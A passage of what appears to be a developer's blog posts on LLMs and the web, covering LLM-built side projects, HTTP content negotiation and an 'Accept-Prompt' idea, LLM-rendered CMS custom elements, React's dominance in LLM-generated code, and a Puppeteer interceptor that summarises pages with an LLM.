  • reactive-agent - Built on top of reactive-prompt I tried to explore building agent workflows that run in response to changes in input. This model is pretty convoluted and you quickly get caught up in effect() overload. Fun though.
  • f - Inspired by my friend Dion and his post on English as the programming language, I wanted to test if we could built functions in the browser “fCreate a UI that renders the Space Weather forecast using this schema`({someData:""})”. I’d never use this in product unless the environment was completely locked down. I do think it is a very interesting experiment that should get a lot more research.

• ssgen - I really went all in thinking about how CMS’s might work in the future. ssgen is a simple CMS that parses Markdown of the content and then applies intent and design (via images or text). It also has high-level concepts like custom elements that are just prompts (think <carousel>a list of things</carousel> and it just works out what to render). In this demo I also pushed on the idea of every web page being personalised to the user: It knows what browser you are using so it can output very specific HTML, CSS and JS that target that version of the browser; It might know your preference via an accept-preference and it renders the page to your liking.

• Token counter - I wanted a CLI way to quickly check how many tokens are in some text. tcnt is your answer.

• Omnibox-mcp - I built this to showcase to the Chrome team what having MCP as a first-class citizen might look like. It’s a Chrome extension that registers a omnibox keyword @mcp and when invoked will act like an agent. It was built pretty much exclusively with an LLM.

I’ve built a lot of software this year that while they don’t push on the intersection of Web and LLMs, they are me using LLM’s exclusively to accelerate and amplify my ability to ship products. Here’s just a few of them:

• LeviRoutes - Untouched for over a decade, I refactored using LLMs and even published it to npm. I wouldn’t have done this at all without an LLM. I use co-pilot a lot and I thought it was pretty neat that you can get it to write reports for you too.
• Hacker News Deck - I really like the TweetDeck UX pattern, so I built one for Hacker News. This one was almost one-shotted.
• Content Crafter - a tool to help me and the team make social posts. I use it a lot less than I thought I would, but hey, I built it in about an hour.
• BlueSky poster - I built this for a demo for Google IO to demonstrate Chrome’s on-device APIs… It’s fine, I guess.
• Full RSS - It annoys me that sites only do partial RSS. This site fixes that.
• Superfeedr clone and hub - I really needed a way to get updates from RSS feeds without polling every sitge. WebSub nee PubSubhubbub was a great solution and Superfeedr a great product (now owned by Medium) but was too pricey. I used an LLM to build me the entire platform I needed. I made a mistake in the first version I built where I merged the client and the hub in to one project. It took a bit longer to unstick all this, but Claude helped me a lot.
• NTP - I just needed a simple way to customise what happens on CMD/CTRL-T,.
• TLDR.express - a site that takes a list of RSS feeds and summarises new posts to them each day. The code is pretty simple, it just runs and I find it incredibly useful.
• posthero.us - I built an email based blogging platform that is integrated in to the fediverse. All coded via an LLM including the ActivityPub integration (It was crazy, Val.town’s Townie even built KeyGen tools for me to ensure that I had the correct public and private keys). It was crazy how far I got building this on a phone.
• sendvia.me - It blows my mind that I can’t email docs and newsletters to my remarkable, I have to download them and sync them in drive. Ridiculous. Anyway, I built an tool that does it. It needs updating to the latest API from remarkable - big shout out to Erik Brinkman and rmapi-js
• Robots.txt scanner - I needed a simple tool that helps me get some stats on who blocks what in the context of AI companies. It’s not perfect, but it got me the answer I needed.
• Site categoriser - Similar to robots.txt, I wanted to quickly categorize the top 10k sites. Again, far from perfect but useful enough.
• Stop don’t do this - Shell script generator. At somepoint I want to explore an shell entirely driven by LLMs.
• Warpscan.app - I built this to make my daughter laugh. I saw a bunch of funny videos for a similar native app and just wanted something that worked well in the browser. This was built entirely with an LLM but also highlighted issues when asking it to use APIs that were not in the model (in this case the new FileSystem API). The lag between new API coming out and being in the model is alarming and presents real challenges for any new tool, and RAG just doesn’t cut the mustard.

I will aim to also keep this post updated over the coming months and years.

We would use:

c:\telnet.exe pcbware.com 80

Then blindly type:

GET /index.shtml HTTP/1.0

The keys I typed weren’t echoed back to me, but if we got it right it would return:

200 OK
Content-Type: text/html

<! .......

Huh. What’s Content-Type?

Content-Type: text/html has literally been in my life for the the last 25-30 years, and yet I hardly ever think about what it might offer us and how it might be one of the most critical things for the future of the web (Btw - http.dev is such a good resource for all things HTTP headers).

When I started web development I had no concept of content-negotiation and it’s importance - for the unintroduced, on the request to the server you could tell the server what type of content that you can accept and the server has the option of serving any type of format back.

GET /index.html HTTP/1.1
Accept: text/html, text/plain;q=0.9, text/*;q=0.8, */*;q=0.7

:mind-blown-emoji-in-1998:

My version of Chrome offers this to every page that I navigate to:

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

That’s a lot of things that can be handled by the browser. But what do we do with this data on the server?

Well, a lot and not a lot at the same time. CDNs make extensive use of it for things like optimizing image delivery - if you know you can send an avif to millions of users, then transcoding the image while maintaining the same quality is a huge benefit to both the CDN and to users. But for how we think about serving content optimized for the mode of interaction? I really just don’t see it, and for good reason - you are in a browser, we expect a request to probably return HTML. Well the guidance says to prefer the highest q. It’s kinda neat to see that the default request has */* and a range of image formats.

There’s something around this that got me thinking…

I’ve been spending a fair bit of time playing and thinking about how a future Web Browser might work. As I try to understand how people are using the internet, you can see the rise of closed platforms and specifically video platforms. Ben Thompson has frequently noted that text is easy to share, but Video is what the majority of people consume or at least want to consume. Now the web, while being the most versatile hypermedia platform the world has ever seen is dominated by text and more and more user-time is transitioning on to other platforms. It seems like a risk to me, so what if the final form for success for the web is whatever the user wants in whatever format they want?

I recently spent some time wondering how we might have a more of a ’lean-back’ experience in the browser, that is a simpler way to scan new content and then engage with it. A couple of years back I built a screenshot based ‘TikTok’ like list of articles that I might be interested in (it used to be on Glitch RIP). Screenshots are cool and all, but with the introduction of veo3 I thought it might be interesting to see if we can create a video out of the contents of a web page.

Flickity is a surprisingly fun experiment. I screenshot the url, extract the markdown and use an LLM to generate a script. The script is then passed into veo3 and now we have a list of overviews of the pages. Yes, the videos aren’t perfect—the text coherence is a little off—but I thought it was a neat experiment.

Flickity just made me think a lot about the future of the web being truly a multimodal hypermedia platform that is shaped to the user’s preference.

With LLMs we have the ability to convert almost any content into any form of content and I think this will be a super-power of the web and the browser. In interception I explored what it might be like for the browser to mediate and control the response from a server (for example to only every summarize the content) - it was an interesting experiment in that it shows that the web is more flexible than we take for granted, but highlights that morphing content in the client has a lot of potential issues ranging from lack of developer control all the way to breaking expectations of how JavaScript might work.

We are starting to see services and web apps that transform content from one form to another: NotebookLM can create podcasts, videos, interactive quizzes, mindmaps out of pages and source content. Google search has started to generate “interactives” inside the AI mode. Why isn’t this something the browser can just do or at least the developer can indicate support for from the server? Why not make this available to every single site on the users behalf? HTML into video. HTML into an image. Static HTML into an interactive web app… Video into article; Audio file into vide… well, anything into anything else?

We have 30 years of being able to negotiate the content type and we have the technology via LLMs, having the two combined might be a powerful concept for the future of the web. In ssgen (my experimental “CMS”) I wanted to explore if I can offer a way to have the server return whatever preferred output format is.

Today, web browsers have a pretty permissive Accept header, so there’s nothing really stopping us from returning a format that we think is appropriate. What if we introduce more the ability for servers to determine the best way to return the content?

If you want the page as a video, like in Flickity Web, you can:

curl https://ssgen.paulkinlan-ea.deno.net/carousel -H "Accept: video/mp4"

If you want an image representation of the experience, you can:

curl https://ssgen.paulkinlan-ea.deno.net/carousel -H "Accept: image/jpeg"

Below are the first renderings I got from the demo (image, webm)

I still need to tweak the prompts because right now it will return a literal video of a carousel that meets the requirements, but this literal interpretation of the content made me think about what the user might want.

I also make heavy use of Gems in Gemini and instructions in ChatGPT. It made me think if there is ever a world where we could personalise every response from the sites to the explicit needs of the user more. How might I want my preferences to be communicated to a page?

There’s a couple of ways to think about it, maybe the browser makes a request to the resource, load it and then processes it. Or maybe we pass some notion of our preferences to the server and have the content be negotiated along with our preference. We already express some preference through Accept-Language , what if we could do more? Could we have a way to pass user preference by a prompt?

Accept-Prompt: I am a person who likes kittens. Please make sure the output has a kitten influence. Please ensure that all units are metric, I hate imperial measurements (like really, wtf?). Please ensure that you output in dark-mode.

I thought it might be fun to test this out:

curl https://ssgen.paulkinlan-ea.deno.net/carousel -H "Accept-Prompt: I am a person who likes kittens. Please make sure the output has a kitten influence."

Having a “prompt” on every request is very unlikely to happen; a prompt can contain very personal data and this means that it shouldn’t be sent on the first request. We saw from things like the Topics API that this wasn’t something the ecosystem thought was acceptable. User opt-in though via a client-hint (and only when there is strict CSP or limited access to hardware)…? Maybe that is interesting.

I don’t know where the web is going to go in this regard and I don’t think what is in this post is viable today given the performance of LLMs, but when the latency is solved and we have ways to protect users and site owners from prompt exfiltration and impersonation, I do think we should be looking at how User Agents can act more on the behalf of the user, especially in a way that is outside of the UA is being an “autonomous agent” and we are going to have to deal with the tension that publishers and site owners want their exact output to be what is presented to the user, and the user, well, likely wants it their way and that Chat apps give them that ability.

The thing is, the web is a hypermedia platform and it can be far more flexible than we treat it today. I think we have the opportunity to experiment at the forefront of the platform (client and server) and keep the web as the platform for all computing interaction.

My first encounter with CSS in Netscape Navigator 4 was a mind-blowing moment. It was the first time I was confronted with the idea that you could (and should) separate the document’s structure (HTML) from its presentation (CSS).

This concept was cemented for the entire industry by the CSS Zen Garden. It was the ultimate demo: one single HTML file, hundreds of completely different visual designs. This idea, that content and presentation are two different things, has stuck with me ever since.

For the past decade, we’ve been running with this idea. Headless CMSs are the logical conclusion of that CSS Zen Garden-era thinking. We put our pure content in an API and make our presentation layer (a React app, usually) completely separate. We thought we’d finally achieved the ultimate separation.

But it’s a trap. We’ve just relocated the coupling. Instead of being locked to a WordPress template loop, we’re locked to contentful.getEntry() loops. We’re still manually mapping fields.heroTitle to <h1> and fields.heroImage.url to <img>. This isn’t freedom, it’s a 1:1 mapping to a rigid JSON schema instead of a flexible template.

Something has been gnawing away at me because I don’t think we’re at our final form of content management by a long way. As I explored in “Whither CMS?”, for years “normal people” and local businesses have fled to walled gardens like Facebook, not because they want to, but because the alternative is too hard. When I moved to North Wales, I saw this firsthand. They know their content, their goals, and their intent (name, address, pictures, booking forms), but the barriers of design, cost, and technical skills are too high.

That post also highlighted a key gap: the data shows popular CMSs (like WordPress) are dominant in the web’s massive “long tail,” but not where people actually spend their time. We’re still failing to provide tools for the vast majority of people who just want a simple, independent presence.

I do think with the introduction of Large Language Models we are on the verge of the next great separation. The first was (Content + Style) -> (Content) + (Style) with CSS and CMS systems. The new one is (Rigid Components) -> (Pure Intent) that will enable us to move from “structured data” to “intent.”

It seems that LLMs will finally make this possible by acting as the bridge, allowing anyone to simply describe what they want, starting with their content (the most important part) and progressively layering on style and functionality.

The “block editor” (Gutenberg, Notion, etc.) was a step in the right direction, but it’s still a “what you see is what you get” system that mashes content and presentation into a messy HTML blob. You can’t easily change the markup of every “Two Column” block on your site.

The new model requires a hard separation of “Content” and “Chrome.”

• Content: The text, the image URL, the list items. This is sacred and must not be changed by the LLM. In my experimental ssgen project, this is just raw Markdown.
• Chrome: The <div>s, the grid, the shadow-lg, the rounded-xl. This is the shell that presents the content. It is disposable and should be generated.

The LLM’s role is to act as a just-in-time “chrome generator.” It reads the pure content (# My Title) and wraps it in the appropriate presentation (<div class="hero"><h1 class="text-4xl...">My Title</h1></div>) based on context, leaving the content itself pristine.

Right now, we ask people to style with tailwind.config.js, _variables.css, and create massive design system libraries. A new model could be “Intent.” Instead of coding the style and the intent, we describe it. The LLM acts as the style-transfer engine.

My ssgen experiment shows that this is possible in three ways:

1. Textual Intent (The Brand File): We give the LLM a simple “brand.md” file. “Our brand is professional and minimalist. Use a dark blue primary color (#0a2351), a serious serif font for headings, and generous white space.”
2. Visual Intent (The Screenshot): We give the LLM an image. “Make it look like this.”
3. Functional Intent: Describe what you need to do and hypermedia can make it possible.

The LLM uses this “intent” to inform how it builds the “chrome”, enabling us to bridge the gap between the author and the final code.

But how can we think about describing intent while enabling ease of authorship? One of the things that I loved about HTML was its ability to render even if the input HTML was malformed in some way. No </p>, not a problem. What if we could extend that flexibility even further into describing what you want?

If as an author I could describe that I want a <contact-form> and what I want it to achieve even if I don’t know HTML, that could be pretty powerful.

Maybe I could write something like this:

# Contact me for availability

<contact-form>
mail to: paul@aifoc.us
I need the users name, email address, message and date they would like an appointment
</contact-form>

Should produce something like:

Oh - wait it does | Code.

This brings us to what I think is the most powerful idea. Back in 2016, I wrote a post called “Custom Elements: an ecosystem. Still being worked out.” The dream was that semantic, custom HTML elements could become a universal interchange format. An author should be able to write <share-button> or <aspect-image>, and the developer or platform would provide the best implementation for that context (whether it was Polymer, AMP, or just vanilla JS). The author’s HTML would be stable, even if the underlying tech changed.

Yes, that future did not happen, but as the post warned, framework ecosystems exploded, and each one built its own proprietary, prefixed component model (<amp-img>, <iron-image>). This fragmented the composability of the platform. We didn’t get an ecosystem; we got a set of high-walled gardens that locked developers in. A React <ProductCard> is almost useless in a Vue app. However, if you look at how people use frameworks like React, <ProductCard> and <ContactForm> are surprisingly good, descriptive definitions of the intent of what is being created.

Can we use LLMs to finally deliver on that original vision of semantic, functional HTML elements that are implementation agnostic?

I think there’s a massive opportunity to cement the web as the place for all content and I think the LLM is the missing piece that can finally deliver on the concept I set out in 2016 to bind an implementation to an author’s intent.

Consider the two roles:

1. The Author’s Job: Write pure semantic intent.
2. The LLM’s Job: Act as the “intelligent renderer” (e.g, ssgen). It sees these tags, understands their function and contract, and generates the entire, correct, and secure implementation (the <iframe>, the <form>, the Stripe.js <script>) on the fly, using the brand guidelines.

I think this is decoupling that we should explore more. Authors don’t need to know HTML, JavaScript, or even what framework is being used. They just declare their high-level intent, and the LLM handles the implementation, which might help us to break the framework lock-in for good.

Consider this example of functional elements that ssgen can already generate:

---
prompt: element.md
---

This is a test page testing how elements being automatically generated.

# Google Map and Pin

<google-map><pin-location city="Ruthin"/></google-map>

# Google Font

<google-font font=Lobster size=30pt>Hello World</google-font>

Demo: View Element Demo Code: View on GitHub

These elements were entirely made up as a way to explain what I wanted in the page. The LLM understood the intent of what I wanted and generated the correct code to make it happen.

I could imagine a world where you could write:

Welcome to my site about travel! Here is my trip to the tower of London:

<google-map location="Tower of London" zoom="14" />

You can book tickets using here:

<checkout-button item="prod_123xyz" price="19.99" currency="GBP" />

If you want more information about my travels, sign up to my newsletter:

<newsletter-signup form-id="my-campaign-id" />

I think this is pretty fun. Exploring this model further, we can create more complex elements.

How about a carousel of images?

---
prompt: element.md
---

This is a test page to test elements that could work by being generated

in this demo we are going to create a carousel of images.

<carousel>
  Img url=https://picsum.photos/200/300 link_text=paul kinlan link=https://paul.kinlan.me
  Img url=https://picsum.photos/200/300 link_text=web dev link=https://web.dev
  Img url=https://picsum.photos/200/300 link=https://developer.chrome.com link_text="chrome." ; open the link in a new window
</carousel>

Demo: View Carousel Demo Code: View on GitHub

The LLM understood the intent of what I wanted and generated a working carousel with navigation buttons, image links, and accessibility features.

Finally, consider a full portfolio page where I provide the content and a screenshot of the style I want:

---
prompt: element.md
style:
  image: images/screen.png
---

# Portfolio Showcase

## My Creative Work

Explore a collection of my recent projects and designs.

## Featured Projects

### Project Alpha

A revolutionary web application that changed the industry.

### Project Beta

Beautiful design meets functionality in this mobile app.

### Project Gamma

Enterprise solution delivering results at scale.

## About Me

I'm a designer and developer passionate about creating beautiful, functional digital experiences.

## Contact

Let's work together on your next project!

Demo: View Style Transfer Demo Code: View on GitHub

As more and more people get used engaging with LLMs, I think we can start to see a new model for content management and site generation emerge.

The new workflow is simple:

1. You write semantic content (Markdown + custom functional tags).
2. You provide stylistic intent (a brand file or a screenshot, or even CSS file).
3. An LLM Renderer (ssgen!) generates the complete, functional, and on-brand site.

I like the idea that a CMS can become a simple text file (Markdown) that anyone can write, and the “renderer” is an LLM-powered engine that can understand both the content and the intent of the author.

There are a number of challenges that I can see you already raise:

The first two (latency and deterministic output) are hard-stops for many if you think about how today’s web is built to ensure that the experience works the same across all browsers and devices for all users. Latency is starting to be solved. The non-determinism through? This might actually be a feature.

If we embrace this non-determinism, we are now in a world where every navigation to a page is an opportunity to generate the best possible experience for that specific user, on their specific device, for their specific browser, no matter their context.

By understanding the user’s context, we can also be a lot more progressive. Progressive enhancement starts with a functional baseline and adds features based on the browser’s capabilities. By sending the HTTP headers on the request through to the LLM, we can influence the output of the LLM to produce code that is the best possible experience for the browser (e.g., Chrome, Safari or Firefox) and the platform (e.g., desktop or mobile). This makes API documentation and best practices even more important and critical to be in the model’s training data or the tool’s context. As we’ve seen with Progressive Enhancement, it’s still a hurdle to get businesses over that the site doesn’t work exactly the same everywhere.

The real big challenge that I see is: Security and the validation of the intent. How do we ensure that the generated code is safe, secure, and does not expose vulnerabilities? We need to build robust “element handlers” that can validate and sanitize the generated code before it goes live, or even force the pages to run in highly sandboxed and CSP-restricted environments. CSS is (in my eyes) the correct layering for the technology that is HTML. It got us out of spacer.gif hell and allowed us to separate content from presentation.

Headless CMSs were a step in the right direction because they made content management more flexible, but they are just a stopgap. The real future is about separating content from presentation and functionality at a higher level of abstraction using the user’s language, and using LLMs to generate the “chrome” based on the author’s intent and if we follow this model I think we can get people out of the vendor lock-in that we see with prescriptive frameworks and platforms and make the web the best and easiest place for everyone to publish their content.

In October last year I wrote “will developers care about frameworks in the future?” predicting that LLMs would abstract away framework choice. I was wrong—or at least, wrong about the timeline.

The reality is more interesting and more permanent: React isn’t competing with other frameworks anymore. React has become the platform. And if you’re building a new framework, library or browser feature today, you need to understand that you’re not just competing with React—you’re competing against a self-reinforcing feedback loop between LLM training data, system prompts, and developer output that makes displacing React functionally impossible.

If you look at what Replit, Bolt, and similar tools are doing, they’re not trying to abstract away frameworks—they’re explicitly hardcoding React into their system prompts. They have to. If you’re building a tool today to attract developers, you need to give them code they can maintain. And “code developers can maintain” now means “React” for the vast majority of web developers.

According to builtwith.com, there were +13m sites outside of the top 1m deployed with React in the last 12 months. Look at these curves:

However, looking at HTTP Archive, it tells a different story. React usage has stalled at 1.2 million mobile origins on mobile vs 55 million origins as reported by Builtwith.

The dataset sizes are vastly different. HTTP Archive looks over some 12-16 million origins, while Builtwith is reportedly looking at some 414 million root domains. Sites also don’t get into HTTP Archive unless there is some amount of usage and many sites in Builtwith might be parked domains or sites that are not actively being used.

Looking at the top 1m, the detection rate is more aligned: 140k vs 160k.

We’re looking at about 12-18% of sites in the top 1m. Take all these numbers with a pinch of salt. The detection can be broken, the datasets are different sizes and the definitions of what is being measured are different. But the trends feel undeniable: React’s growth continues while competitors like Angular, sadly stagnate.

So what has driven the uptick in React sites? My read of the data suggests LLM tools over the last 12-18 months are preferring to output React code.

Look at token growth on OpenRouter. Programming tools are burning through billions of tokens a day via just one gateway. The curves look similar:

Correlation is not causation, and only the tool creators see the full picture as tokens flow through their systems. But the timing is striking: massive token growth coinciding with massive React deployment growth.

The models and the tools are preferring the tools that developers are already using, and it’s driving a self-reinforcing cycle of adoption. If you are launching a new API or tool today, you need to consider how it will be adopted by the ecosystem and how to get it into the training corpus of the LLMs.

We have two loops of feedback in play here:

1. React dominates the existing web (~13M+ new sites in 12 months)
2. LLMs train on the existing web
3. LLMs output React by default
4. New sites built with LLMs use React
5. More React sites exist for future training
6. Go to step 2

And…

1. React dominates the developer ecosystem
2. IDEs and tools that developers preferntially output React
3. Tools ask LLMs to output React by default
4. New sites built are using React
5. More React sites exist to increase demand for tools to output React
6. Go to step 1

I don’t actually know if this is bad or good. We’re getting more sites on the web and they’re all pretty high quality. But it does create barriers for new frameworks, tools and web platform features that we need to understand. Specifically when:

1. Your framework isn’t in the training data because it’s new
2. Tool creators hardcode React because that’s what developers know today
3. Developers expect React output because that’s what works
4. Companies won’t use your framework if their developers can’t maintain it
5. React has thousands of libraries; you have dozens

If you launch a new framework, library or browser feature today, even if it’s technically superior, you need to:

• Get into LLM training data (12-18 month lag minimum)
• Convince tool creators to modify system prompts (requires existing adoption)
• Build a comprehensive library ecosystem (years of development)
• Overcome developer inertia and get developers to ask for it

By the time you’ve done step 1, the ecosystem using React has generated another 10M+ sites. You might flip that order, and do a massive campaign to get developer mind share, and supplement it with paid integrations in to the library ecosystem. We might even see new business models where framework and library authors pay tooling providers to include their framework in system prompts. But even then, you’re fighting against entrenched patterns in both React libraries AND LLM training data.

This isn’t about React being the best tool or that it’s Model is good for LLMs (I don’t see any evidence there at all). It’s about React being past the point where network effects make alternatives viable.

Here’s what brought this home for me: Last week I used Claude to build a Chrome Extension using Chrome’s built-in prompt API. Claude dutifully wrote the entire extension, but used self.ai.languageModel—the API from 6 months ago. The current API is LanguageModel.create(), but that wasn’t in the training corpus.

Add in the fact that it can take years of Interop work to get a feature to the point it becomes “Baseline newly-available” and then another 30 months for it to reach a point where it’s “Baseline widely-available”. By that time, the ecosystem has moved on, and the feature is competing against entrenched patterns in both React libraries AND LLM training data.

This is the new reality: If it’s not in the LLM training data, it doesn’t exist. Not for 12-18 months, at least not until the next model training cycle and not until enough examples exist in the wild to statistically matter.

Now apply this to frameworks:

• Web platform APIs: 0-6 months of real-world usage before training cutoff
• New frameworks: 0-6 months of real-world usage before training cutoff
• React patterns: 10+ years of accumulated examples

Today, if your framework or documentation isn’t in the training corpus of the LLM, then it won’t be output. If the system prompt of the tool a developer uses doesn’t have your API, library or framework, then it’s not in the output. And if the user of a tool doesn’t ask for a specific API, library or framework, then it won’t be output. Model providers are skewing it so the model prefers a certain style, or framework or library.

The same dynamic applies to new web platform APIs designed to replace framework features. Consider the typical pattern:

1. Browser teams identify a common pattern in frameworks (e.g., CSS Nesting instead of Sass)
2. Multi-year standardization process begins
3. Feature ships in browsers
4. Developers… keep using the framework pattern

Why? Because:

• The LLM learned the old pattern: Sass has 15 years of examples; CSS Nesting has 1 or 2 years
• The framework already works: React developers use styled-components, Tailwind, CSS modules
• The ecosystem is built: Thousands of React component libraries use existing CSS patterns
• There’s no incentive to switch: The new platform feature doesn’t make the site better for users

For example:

• People loved Sass, but you need a build-step, so we have CSS Nesting. However its rarely output because preprocessor patterns are more common in the corpus and also React developers already have CSS-in-JS solutions that LLMs know how to output.
• Carousels are hard to build, so maybe we should have them as an intrinsic part of the platform. But there are tons of libraries that create great carousels that are already in LLM training data.

As an author of many sites, I love these features. CSS Nesting alone lets me structure my CSS in a way that I personally find easier to read and maintain. But it doesn’t really change the quality of the experience of the site for the person using my site. It doesn’t change the performance of the site. It doesn’t change how accessible my site is. It just makes it easier for me to write and maintain.

The only new platform features that matter are ones that can’t be built in user-space, like:

• Multi-page view transitions (new navigation capabilities)
• WebGPU (fundamentally new compute access)
• WebAuthN and PassKeys (security primitives)

Everything else is competing against entrenched patterns in both React libraries AND LLM training data.

There’s at least 3 constituencies to consider here:

1. The “head” businesses building on the web - The top 1000 sites take the lion’s share of traffic and revenue on the web, and we don’t see massive technology shifts in the top 1000 through to top 1 million because these are established sites with established teams and shifting technology is hard with often unclear benefit outside of potential improvements to product velocity. They are likely to be using LLM based tooling to help increase velocity, but they are not going to be switching frameworks or libraries lightly.

2. The “middle” businesses building on the web - The next 10 million sites are being built by small teams and individuals and will likely be using LLMs to build new sites completely and unless they prompt will use the defaults the tools output

3. The “long tail” - These are people who are not formal web developers who will use tools like Loveable, Replit, or even directly in a chat app. They may never need to look at the code, so what do any of these new APIs do to help them build better sites? and they represent the growth in the platform and we have an opportunity for millions more people to deploy on to the web

The people in groups 2 and 3 are the ones driving the growth in sites on the web and are unlikely to be building with these tools don’t know about Passkeys, WebAuthn, Web Components, CSS Nesting, View Transitions, or any of the other new features being added to the platform. They just want a site created that does what they need it to do.

The thing is, the normal people using the web don’t care about the tools, frameworks and libraries are not something that concerns a normal person using the web. What concerns people is the experience of using the page. Does it load quickly enough? Are the interactions smooth? Does the site actually do what I need it to do?

Today, if you are a company targeting developers in any of those categories (LLM or a tool that outputs code from an LLM), to not output React by default is to limit your potential audience as your competitors are serving the current demand.

Now consider the current working model for code-generating LLM tools which reflect the ecosystem that they are trained on. This means that any new API, framework or library has a large hurdle to get over in terms of being something that will be output by the tool. The fact that any new feature might not be in the training corpus and will not be prevalent enough to have its usage patterns and idioms ingrained in the training and by extension the output of an LLM should be a concern to the people building new platform features.

Looking at today’s trend of tools primarily outputting React code, the comprehensive ecosystem of user-space libraries can do almost everything from custom select boxes, specialized date components and everything else. I can’t see a world where a new platform feature is going to displace the libraries in use nor can I see a world where a new framework is going to displace React in the short to medium term—I really love what the Remix folks are doing with Remix 3 and I will keenly watch how it is adopted and how LLMs might pick this up to see how this post plays out in the real world. I’d love to see how long it takes for LLMs to start outputting Remix code without specific prompting or including docs in the context.

For framework authors: Building a new framework is building a product that LLMs won’t output for 12-18 months minimum, that has no library ecosystem, that developers don’t know, and that companies won’t adopt. You’re not competing with React’s technical merits—you’re competing with React’s statistical dominance in every LLM training corpus and every tools providers preference for their customer.

For platform developers: Developer experience features (syntactic sugar, convenience APIs) are competing against established React patterns in LLM training data. They will not be adopted at scale. Focus on fundamental capabilities that can’t be built in user-space. For features that browser developers are creating today, we need to take a long hard look at the benefits that they will bring to the user and not the developer. To that extent, many of the platform features ranging from Web Components through to syntactical changes are just not needed by the vast majority of people building sites in the coming years.

For tool creators (e.g, IDEs): If you’re not outputting React by default, you’re limiting your addressable market. Your competitors are serving current demand. You can’t afford to be principled about framework diversity.

Dead framework theory isn’t about frameworks dying. It’s about new frameworks being dead on arrival in a world where React has become the platform (at least as long as people need to maintain code.)

As an industry we should absolutely innovate and build new frameworks, libraries and platform features. We need innovation to push the web forward and create competition. But we need to be aware of the dynamics at play and have clear strategies to get our work into LLM training corpus, system prompts, and developer minds.

If the industry continues its current focus on maintainability and developer experience, we’ll end up in a world where the web is built by LLMs using React and a handful of libraries entrenched in the training data. Framework innovation stagnates. Platform innovation focuses elsewhere. React becomes infrastructure—invisible and unchangeable.

But here’s the optimistic take: If LLM usage continues to grow, tooling vendors will have to compete with each other on this homogenized ecosystem. When everyone outputs React by default, you can’t differentiate on framework choice. You have to compete on output quality. Market forces shift the focus from developer experience to user experience.

For either scenario, we need to start competing on user outcomes. I really want to see Evals and Benchmarks that focus on quality outcomes like Core Web Vitals did for performance. When tools compete to attract users, the ones that output meaningfully better experiences will win. This competitive pressure will incentivize the entire ecosystem to optimize for users, not developers.

And if we succeed? Then in the long run, the framework will become irrelevant as the models improve to the point people manipulate sites by words alone and the LLM providers believe they can create better outcomes with their own frameworks or tuning (hat tip to Ade). The delivery technology becomes an optimized compiled output that meets user needs—whether it’s “React” or something else stops mattering.

As for the raw, naked, web platform? Focus on fundamentally new capabilities—the things that can’t be built in user-space, or where there’s clear user-experience benefit that can’t be achieved with libraries.

While the post and idea started this evening, the genesis of the idea has been brewing for a while and goes back over a year to August 2024, when I wrote about being sucked into a virtual internet. WebSim has been on my mind for a while, because I loved the idea of being able to simulate my own version of the web using the browser directly and not via another web page. And a couple of weeks ago, I managed to work out how to get Puppeteer to intercept requests and respond with content generated via an LLM.

npx fauxmium is the command, and there are more details on my personal blog. The code is on GitHub. You can watch it in action on my YouTube channel:

The architecture of Fauxmium is relatively straightforward (although there is more complexity in my repository as I try to stream responses). You launch a browser via Puppeteer and set it up to intercept all requests. When a request is made, you send the URL to an LLM (along with a prompt to help it generate content), and it generates HTML or images, which are then returned to the browser.

This evening, I was wondering if I could take it a step further and have a large language model (LLM) be in every point of the request lifecycle.

So I built a proof of concept off the back of fauxmium called interceptium [code]. You launch Chrome for Testing via Puppeteer and set it up to intercept every request. Then, when a request is made, you decide if you want to handle the request or let it go to the network. If you want to handle it, you have the chance to change the request (you might want to automatically generate post-data, for example). You send the potentially modified request to the network, get the response, and then you can pass the request data to an LLM, which generates HTML that is then returned to the browser.

Under the hood this looks like a typical request router that you might see in a web framework. This enables you to have multiple interceptors that can handle different types of requests. You can have one interceptor that handles requests for home pages and summarizes the content and another that will modify an image through something like nano-banana.

A concrete example is below. I like summaries, so I have a SummaryInterceptor that intercepts requests to my blog’s homepage, and I ask the LLM to summarize the content of the page. The LLM returns a summary in HTML format, which is then rendered in the browser.

import { generateText } from "ai";
import { createGroq } from "@ai-sdk/groq";

const groq = createGroq({ apiKey: process.env.GROQ_API_KEY });

class SummaryInterceptor {
  #test = (request) => {
    console.log("Testing request:", request.url());
    const url = new URL(request.url());
    return url.hostname === "paul.kinlan.me" && url.pathname === "/";
  };
  #requestHandler = null;
  #responseHandler = async (request, response) => {
    const ai = console.log("Handling response for:", request, response);
    const headers = response.headers;
    const status = response.status;

    const result = await generateText({
      model: groq("openai/gpt-oss-120b"),
      system: `You are a world class expert in summarizing web pages. You take the content of a web page and distill it down to the most important points. You return the summary in markdown format. You return HTML only.`,
      prompt: await response.text(),
    });

    return {
      headers: headers,
      status: status,
      body: result.text,
    };
  };

  constructor(test) {
    this.name = "SummaryInterceptor";
    this.#test = test;
  }

  get test() {
    return this.#test;
  }

  get requestHandler() {
    return this.#requestHandler;
  }

  get responseHandler() {
    return this.#responseHandler;
  }
}

export { SummaryInterceptor };

And you know what? It only flippin’ works! (Note: I use Groq for this demo because it has an incredibly fast response time. You can use any LLM you like).

Why is this interesting? Well, it opens up a whole new world of possibilities. You could have interceptors that craft pages to your needs and preferences without the author having to do anything. Some ideas for interceptors that spring to mind are:

• One that adds links to related content based on my reading history or one that translates content into my preferred language.
• One that can augment the structure of the page to make it more navigable or accessible.
• One that highlights key information based on my interests—I could imagine indicating that I want to highlight key information about whether a hotel is kid-friendly or has good Wi-Fi.
• One that find unstructured data within a page (e.g., a paragraph describing a product’s specs) and automatically reformats it into a clean, sortable HTML table. For example, it could turn a camera review into a spec sheet comparing it to other models you’ve recently viewed.
• One that identifies section breaks and headings to automatically generate and inject a floating “Table of Contents” for easy navigation.
• One that adjusts a recipe page and adds controls to instantly adjust ingredient quantities for a different number of servings. Based on your preferences, it could also automatically convert all measurements to metric and suggest substitutions for dietary restrictions.

There are also a lot of risks and challenges with this approach. The security implications are significant, and there would need to be a lot of thought put into how to ensure that users are protected from malicious interceptors that change the functionality or even the content of a page to be misleading, harmful or inserts prompt injections to exfiltrate sensitive information. Not to mention the significant performance considerations and energy requirements from large language models.

That being said, I do think that we should be discussing this type of functionality as a potential future direction for browsers because the ability to customize and adapt the web to our needs is incredibly powerful.

